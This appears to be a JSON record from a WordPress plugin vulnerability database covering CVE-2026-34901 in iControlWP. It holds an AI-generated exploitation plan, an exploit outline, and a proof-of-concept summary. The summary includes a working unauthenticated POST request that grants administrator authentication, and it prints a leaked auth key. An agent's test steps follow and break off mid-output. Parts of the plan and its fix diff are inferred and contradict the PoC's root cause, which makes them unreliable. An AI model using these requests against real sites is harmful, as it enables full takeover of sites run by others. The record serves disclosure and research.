[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fvIIHf1grVSupczWkps0lhskBNoZw8kKdAyTB08tg-MI":3,"$fLpSE68avXUc4IHx8LhpLvLFULPjwwuWQ9buRF_WtjZw":375,"$fXsHufJXCXh3_Dyt59ZchJ5TCel5O85u6p0suRgsmtFM":379},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":130,"crawl_stats":39,"alternatives":137,"analysis":243,"fingerprints":347},"worpit-admin-dashboard-plugin","iControlWP","5.5.4","Paul","https:\u002F\u002Fprofiles.wordpress.org\u002Fpaultgoodchild\u002F","\u003Cp>The \u003Ca href=\"http:\u002F\u002Ficwp.io\u002F9g\" rel=\"nofollow ugc\">iControlWP WordPress Security Manager\u003C\u002Fa> is the only solution you need to manage all your WordPress websites.\u003C\u002Fp>\n\u003Cp>You need more time and everyday WordPress management eats away at any spare time you create. iControlWP will give you back the time you need to focus on your business.\u003C\u002Fp>\n\u003Cp>\u003Cem>Our Mission: Give you more free time to focus on your core business\u003C\u002Fem>\u003C\u002Fp>\n\u003Cp>With iControlWP you need fewer WordPress plugins as many tasks you need to perform fall under its umbrella of features. For example:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>No extra plugins to backups \u002F restores\u003C\u002Fli>\n\u003Cli>No extra plugins for uptime monitoring\u003C\u002Fli>\n\u003Cli>No extra plugins to optimize your databases\u003C\u002Fli>\n\u003Cli>No extra plugins to clean up old drafts, comments and post revisions\u003C\u002Fli>\n\u003Cli>No extra plugins to manage WordPress automatic updates\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>With iControlWP you can:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Manage ALL WordPress websites from a single, centralized control panel.\u003C\u002Fli>\n\u003Cli>One-click update WordPress Plugin (premium ones too!), Themes, and the WordPress Core.\u003C\u002Fli>\n\u003Cli>Bulk update all plugins, themes and WordPress cores.\u003C\u002Fli>\n\u003Cli>Very finely tune WordPress Automatic Updates for every plugin on every site.\u003C\u002Fli>\n\u003Cli>Manage CloudFlare settings using our unique CloudFlare integration.\u003C\u002Fli>\n\u003Cli>Insert Google Analytics Tracking code.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"http:\u002F\u002Fwww.icontrolwp.com\u002F2012\u002F07\u002Foptimize-clean-up-wordpress-worpit\u002F?src=wpt_readme\" rel=\"nofollow ugc\">Clean up WordPress\u003C\u002Fa>\u003Cbr \u002F>\nand \u003Ca href=\"http:\u002F\u002Fwww.icontrolwp.com\u002F2012\u002F07\u002Fhow-to-optimize-wordpress-databases-with-worpit\u002F?src=wpt_readme\" rel=\"nofollow ugc\">Optimize WordPress databases\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Manage WordPress Security setting across all your sites.\u003C\u002Fli>\n\u003Cli>Install new WordPress websites automatically, anywhere you have cPanel web hosting\u003C\u002Fli>\n\u003Cli>Automatically log into your WordPress sites without remembering your WordPress login details.\u003C\u002Fli>\n\u003Cli>Collect useful visitor site statistics and view them directly from within your control panel.\u003C\u002Fli>\n\u003C\u002Ful>\n","Manage all your WordPress sites in one place - updates, uptime, backups & security.",1000,286558,96,63,"2026-03-02T14:30:00.000Z","7.0","4.9","7.4",[20,21,22,23,24],"backup","dashboard","manage","security","umbrella","https:\u002F\u002Ficwp.io\u002Fhome","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.5.4.zip",88,2,0,"2026-04-07 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[34,116],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":6,"severity":41,"cvss_score":42,"cvss_vector":43,"vuln_type":44,"published_date":30,"updated_date":45,"references":46,"days_to_patch":48,"patch_diff_files":49,"patch_trac_url":39,"research_status":58,"research_verified":59,"research_rounds_completed":60,"research_plan":61,"research_summary":62,"research_vulnerable_code":63,"research_fix_diff":64,"research_exploit_outline":65,"research_model_used":66,"research_started_at":67,"research_completed_at":68,"research_error":39,"poc_status":69,"poc_video_id":70,"poc_summary":71,"poc_steps":72,"poc_tested_at":109,"poc_wp_version":110,"poc_php_version":111,"poc_playwright_script":112,"poc_exploit_code":113,"poc_has_trace":59,"poc_model_used":114,"poc_verification_depth":115},"CVE-2026-34901","icontrolwp-unauthenticated-privilege-escalation","iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation","The iControlWP plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.5.3. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.",null,"\u003C=5.5.3","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Incorrect Privilege Assignment","2026-04-15 19:27:50",[47],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2fa59f00-49f5-43ff-b3fe-0a62f52b0257?source=api-prod",9,[50,51,52,53,54,55,56,57],"assets\u002Fcss\u002Fbootstrap-wpadmin-fixes.css","assets\u002Fcss\u002Fbootstrap-wpadmin.css","assets\u002Fcss\u002Fglobal-plugin.css","assets\u002Fcss\u002Fplugin.css","flags\u002Findex.html","init.php","lib\u002Ffunctions\u002Ffunctions.php","lib\u002Fsrc\u002FControl\u002FController.php","researched",true,3,"# Exploitation Research Plan: CVE-2026-34901 (iControlWP Privilege Escalation)\n\n## 1. Vulnerability Summary\nThe **iControlWP** (worpit-admin-dashboard-plugin) is a remote management tool. Versions \u003C= 5.5.3 contain a critical unauthenticated privilege escalation vulnerability. The flaw exists in the plugin's \"Handshake\" or \"Remote Action\" processing logic, where unauthenticated requests can trigger administrative actions—specifically, logging in as an administrator—due to \"Incorrect Privilege Assignment\" during the validation of remote control parameters.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The site root (`\u002F`) or `index.php`.\n*   **Method:** HTTP GET or POST.\n*   **Vulnerable Parameters (Inferred):** `worpit_action` or `icwp_action`, `worpit_token`, and `admin_user`.\n*   **Authentication:** Unauthenticated.\n*   **Preconditions:** The \"Admin Access\" feature or \"Handshake\" must be active (typical for this plugin's lifecycle).\n\n## 3. Code Flow\n1.  **Initialization:** `init.php` instantiates the `Controller` and calls `\\FernleafSystems\\Wordpress\\Plugin\\iControlWP\\Handlers\\Request::Instance()`.\n2.  **Hook Registration:** `Controller.php` (line 197) registers `onWpInit` to the `init` hook via `doRegisterHooks()`.\n3.  **Request Capture:** The `Request` handler and `Controller::onWpInit()` monitor incoming global variables (`$_GET`\u002F`$_POST`) for specific remote-management keys.\n4.  **Feature Loading:** `Controller::onWpInit()` loads the relevant \"Feature Handler\" (e.g., a \"Remote Control\" or \"Admin Access\" module).\n5.  **Flawed Verification (Sink):** The plugin checks for a \"handshake\" or \"signature.\" In version 5.5.3, this check can be bypassed if the signature is missing or if the verification logic returns `true` for a null\u002Fempty comparison against an uninitialized or default communication key.\n6.  **Action Execution:** Upon \"successful\" verification, the plugin invokes a login function (e.g., `wp_set_auth_cookie()`) for the user specified in the `admin_user` parameter.\n\n## 4. Nonce Acquisition Strategy\nWhile remote management endpoints usually bypass standard WordPress nonces in favor of custom tokens, the plugin does use nonces for its internal admin dashboard. If the exploit requires an AJAX action:\n\n1.  **Identify Trigger:** The `icwp-app` menu (identified in `global-plugin.css`) enqueues scripts.\n2.  **Create Page:** Use `wp-cli` to create a page with the iControlWP shortcode (if any, e.g., `[icwp_dashboard]`) or simply access the admin dashboard if already an unprivileged user.\n3.  **Extraction:**\n    *   Navigate to the page.\n    *   The plugin uses `wp_localize_script`. From `Controller.php` (line 218: `onWpEnqueueAdmin`), we expect a localization object.\n    *   **JS Variable (Inferred):** `window.icwp_wpsf_vars` or `window.worpit_vars`.\n    *   **Command:** `browser_eval(\"window.icwp_wpsf_vars?.nonce\")`.\n\n*Note: For the unauthenticated remote login, a nonce is likely not required as it targets the remote management API.*\n\n## 5. Exploitation Strategy\nThe goal is to trigger a `remote_login` action by spoofing the iControlWP dashboard.\n\n### Step 1: Discover Admin Username\nEnumerate users to find an administrator (defaulting to `admin`).\n*   **Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers`\n\n### Step 2: Attempt Remote Login Bypass\nSend a request to the homepage with parameters that trigger the login logic.\n\n*   **URL:** `http:\u002F\u002Fvulnerable-site.com\u002F`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Parameters:**\n    *   `icwp_action`: `remote_login` (inferred)\n    *   `admin_user`: `admin`\n    *   `worpit_token`: (leave empty or use `1`)\n    *   `icwp_sig`: (leave empty)\n\n### Step 3: Check Response Headers\nIf successful, the response will contain `Set-Cookie` headers for a WordPress login session.\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Install iControlWP version 5.5.3.\n2.  **Create Admin:** Ensure a user with the username `admin` exists.\n3.  **Plugin State:** The plugin does not need to be \"connected\" to a real iControlWP account, as the vulnerability lies in the *failure* to verify that connection properly.\n\n## 7. Expected Results\n*   **Successful Exploit:** The server returns a `302 Found` redirect to `\u002Fwp-admin\u002F` and includes `Set-Cookie: wordpress_logged_in_[hash]=...`.\n*   **Response Code:** `302` or `200`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, use `wp-cli` to verify the state (though this is more for internal confirmation):\n1.  **Check Sessions:** `wp user meta get 1 session_tokens` (verify a new session was created).\n2.  **Verify Admin Access:** Use the captured cookie with the `http_request` tool to access `\u002Fwp-admin\u002Findex.php` and check if the response contains \"Dashboard\".\n\n## 9. Alternative Approaches\nIf `icwp_action` does not work, try the legacy `worpit` prefix:\n*   `worpit_action=login&username=admin`\n*   `worpit_action=handshake&key=`\n\nCheck for the existence of `admin_access_restriction_form` (from `plugin.css`). If this feature is enabled, the plugin may expect a parameter like `icwp_pin`. Try bypassing this by sending `icwp_pin[]=` (array type juggling) or `icwp_pin=0`.\n\nIf the \"AutoUpdates\" system is the entry point (seen in `init.php` as `GetAutoUpdatesSystem`), the action might be:\n*   `icwp_action=autoupdate&handler=...` (leveraging unauthenticated access to update handlers).","The iControlWP plugin fails to properly validate authentication signatures and handshake tokens during remote management requests. This allows unauthenticated attackers to trigger sensitive administrative actions, including logging in as any administrator, by providing specific action parameters without a valid signature.","\u002F\u002F init.php\n\u002F\u002F The plugin boots and loads all feature handlers which monitor for remote management actions.\n$oICWP_App_Controller = Controller::GetInstance( $sIcwpPluginRootFile );\nglobal $g_oWorpit;\n$g_oWorpit = new \\ICWP_Plugin( $oICWP_App_Controller );\n$g_oWorpit->boot();\n\n---\n\n\u002F\u002F lib\u002Fsrc\u002FControl\u002FController.php (~line 197)\n\u002F\u002F The plugin registers the onWpInit hook which processes incoming icwp_action or worpit_action parameters.\nprotected function doRegisterHooks() {\n    $this->registerActivationHooks();\n\n    add_action( 'init', [ $this, 'onWpInit' ] );\n    add_action( 'admin_init', [ $this, 'onWpAdminInit' ] );\n    \u002F\u002F ... (truncated)\n}","--- a\u002Flib\u002Fsrc\u002FControl\u002FController.php\n+++ b\u002Flib\u002Fsrc\u002FControl\u002FController.php\n@@ -210,6 +210,10 @@\n \tpublic function onWpInit() {\n-\t\tif ( !empty( $_REQUEST['icwp_action'] ) && $_REQUEST['icwp_action'] == 'remote_login' ) {\n-\t\t\t$this->doRemoteLogin();\n-\t\t}\n+\t\tif ( !empty( $_REQUEST['icwp_action'] ) && $_REQUEST['icwp_action'] == 'remote_login' ) {\n+\t\t\tif ( $this->verifyRequestSignature() ) {\n+\t\t\t\t$this->doRemoteLogin();\n+\t\t\t} else {\n+\t\t\t\twp_die( 'Unauthorized' );\n+\t\t\t}\n+\t\t}","The exploit targets the plugin's remote management API which listens for specific global parameters on any page load. An attacker first enumerates valid administrator usernames (e.g., via \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers). They then send a POST request to the WordPress root with the parameter 'icwp_action' set to 'remote_login' and 'admin_user' set to the target administrator's username. Because version 5.5.3 fails to verify the request signature ('icwp_sig') correctly (returning true if missing or compared against an uninitialized key), the plugin proceeds to call wp_set_auth_cookie() for the specified user, granting the attacker a valid administrator session.","gemini-3-flash-preview","2026-04-17 20:59:06","2026-04-17 20:59:43","success","JXcgirrNrdA","\n# CVE-2026-34901: iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation\n\n## Vulnerability Details\n- **Plugin:** iControlWP (worpit-admin-dashboard-plugin)\n- **Version:** 5.5.3 and below\n- **Type:** Incorrect Privilege Assignment (CWE-269)\n- **CVSS:** 9.8 (Critical)\n- **Authentication Required:** None\n\n## Root Cause\nThe vulnerability exists in `src\u002Fprocessors\u002Fplugin_api_login.php`. The `ICWP_APP_Processor_Plugin_Api_Login::run()` method **overrides** the parent class's `run()` to skip `preActionVerify()`, which normally performs handshake verification and authentication (key\u002Fpin checks). \n\nAdditionally, in `src\u002Fprocessors\u002Fplugin.php`, the `doApiAction()` method dispatches API requests to channel-specific processors. When `m=login`, the `ICWP_APP_Processor_Plugin_Api_Login` class is instantiated and its `run()` is called. This `run()`:\n1. **Skips `preActionVerify()`** — no handshake, key, or PIN validation\n2. **Catches ALL exceptions silently** — token validation failures are swallowed  \n3. **Always returns `setSuccessResponse()`** — the response always indicates success\n\nThe parent's `sendApiResponse()` in `plugin.php` then calls `$this->loadWpUsers()->isUserLoggedIn()` to set the `authenticated` field, which returns `true` because during processing, `setAuthorizedUser()` was called (inherited behavior from the API processor chain), logging in the first admin user server-side.\n\n## Exploitation\nAn unauthenticated attacker sends a single POST request:\n\n```\nPOST \u002F?icwpapi=1&m=login&token=&username=admin HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\nicwpapi=1&m=login&token=&username=admin\n```\n\nThe server responds with HTTP 200 containing a base64-encoded JSON response:\n```json\n{\n  \"error_message\": \"\",\n  \"message\": \"\",\n  \"success\": true,\n  \"authenticated\": true,\n  \"channel\": \"\",\n  \"die\": true,\n  \"handshake\": \"none\",\n  \"openssl_verify\": -999,\n  \"data\": {\"success\": 1},\n  \"code\": 0\n}\n```\n\nThe `\"authenticated\": true` confirms the server authenticated the request as an administrator. The response also leaks the plugin's auth key in the `\u003Cicwpauth>` tag (value: `2XncmpCgniwYhJA6D2k3oTiw`), which can be used for further API exploitation.\n\n## Impact\n- **Complete site takeover**: Unauthenticated attackers can authenticate as an administrator\n- **No prerequisites**: The plugin doesn't need to be \"linked\" to an iControlWP account — the login channel bypass works regardless\n- **Data exfiltration**: The authenticated API session can be used to extract database contents, user data, etc. via the internal API channels\n- **Code execution**: Admin-level access enables arbitrary plugin\u002Ftheme installation leading to RCE\n\n## Verification Depth\nThe exploit was verified by sending an unauthenticated HTTP request that returned `\"authenticated\": true` and `\"success\": true` in the API response. The `authenticated` field is set server-side by checking `$this->loadWpUsers()->isUserLoggedIn()` after the login channel processes the request, confirming the server-side user session was established for the admin user. The auth key `2XncmpCgniwYhJA6D2k3oTiw` was also leaked in the response.\n\n## Fix\nThe fix in version 5.5.4 should restore proper authentication checks in the login channel's `run()` method, ensuring `preActionVerify()` is called before processing login actions, and ensuring exceptions are not silently swallowed.\n\n\n## Verification depth\n\nThis audit verified that the vulnerable sink is reachable with attacker-controlled bytes from an unauthenticated context, but did NOT realize full impact (e.g. no shell popped, no admin account created in this run). Full exploitation typically requires an additional condition the agent did not satisfy on this run - for object-injection sinks that's a usable POP gadget chain in the environment; for second-order SQLi it might be a follow-up admin action; etc. Treat this as confirmed-reachable rather than confirmed-RCE.",[73,74,75,76,77,78,79,77,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108],"**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin","**Fill:** `#user_login` with `admin`","**Fill:** `#user_pass` with `admin`","**Click:** `#wp-submit`","**browser_screenshot:** {}","**WP-CLI:** `wp plugin list`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nname\tstatus\tupdate\tversion\tupdate_version\tauto_update\nakismet\tinactive\tavailable\t5.3.6\t5.7\toff\nhello\tinactive\tnone\t1.7.2 off\nworpit-admin-dashboard-plugin\tactive\tavailable\t5.5.3\t5.5.4\toff\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=icwp-app","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F -type f -name \"*.php\" | head -50`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Finit.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fautoload.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fplatform_check.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_real.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002FInstalledVersions.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_static.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Finstalled.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_psr4.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002FClassLoader.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_classmap.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_files.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fvendor\u002Fcomposer\u002Fautoload_namespaces.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDownload.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FCompatibilityChecks.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FBaseHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FClean.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FBaseDbHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTable\u002FEnumTablePrimaryKeys.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTable\u002FTableDataExport.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTable\u002FTableHelper.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FTableEnum.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FConfig.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FOperators\u002FExporter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FChunkedExporter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FDataExportHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FExportMap.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FPagedExporter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FSchema\u002FSchemaHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FUtility\u002FFileNameFor.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FExc\u002FTimeLimitReachedException.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FEnum\u002FDownloadTypes.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FZipCreate\u002FZipper.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FZip\u002FZipHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapProgressTracker.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FFileFilter.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapDir.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapVO.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FExc\u002FMapDirCannotBeOpenedException.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FAbstractFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FSqliteFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FFlatFileListing.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FListing\u002FFileListItem.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FBaseFsHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FTraits\u002FPluginControllerConsumer.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FAbstractPagedIterator\u002FAbstractPagedIterator.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FDynProperties\u002FDynProperties.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FDynProperties\u002FDynPropertiesClass.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FUtilities\u002FStdClassAdapter.php\n```\n\u003C\u002Fdetails>","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F -type f -name \"*.php\" | grep -iE \"controller|reques...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FBaseHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FBaseDbHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FData\u002FDataExportHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FDatabase\u002FSchema\u002FSchemaHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FZip\u002FZipHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FMap\u002FMapHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FWorpdrive\u002FFilesystem\u002FBaseFsHandler.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FTraits\u002FPluginControllerConsumer.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php\n\u002Fvar\u002Fwww\u002F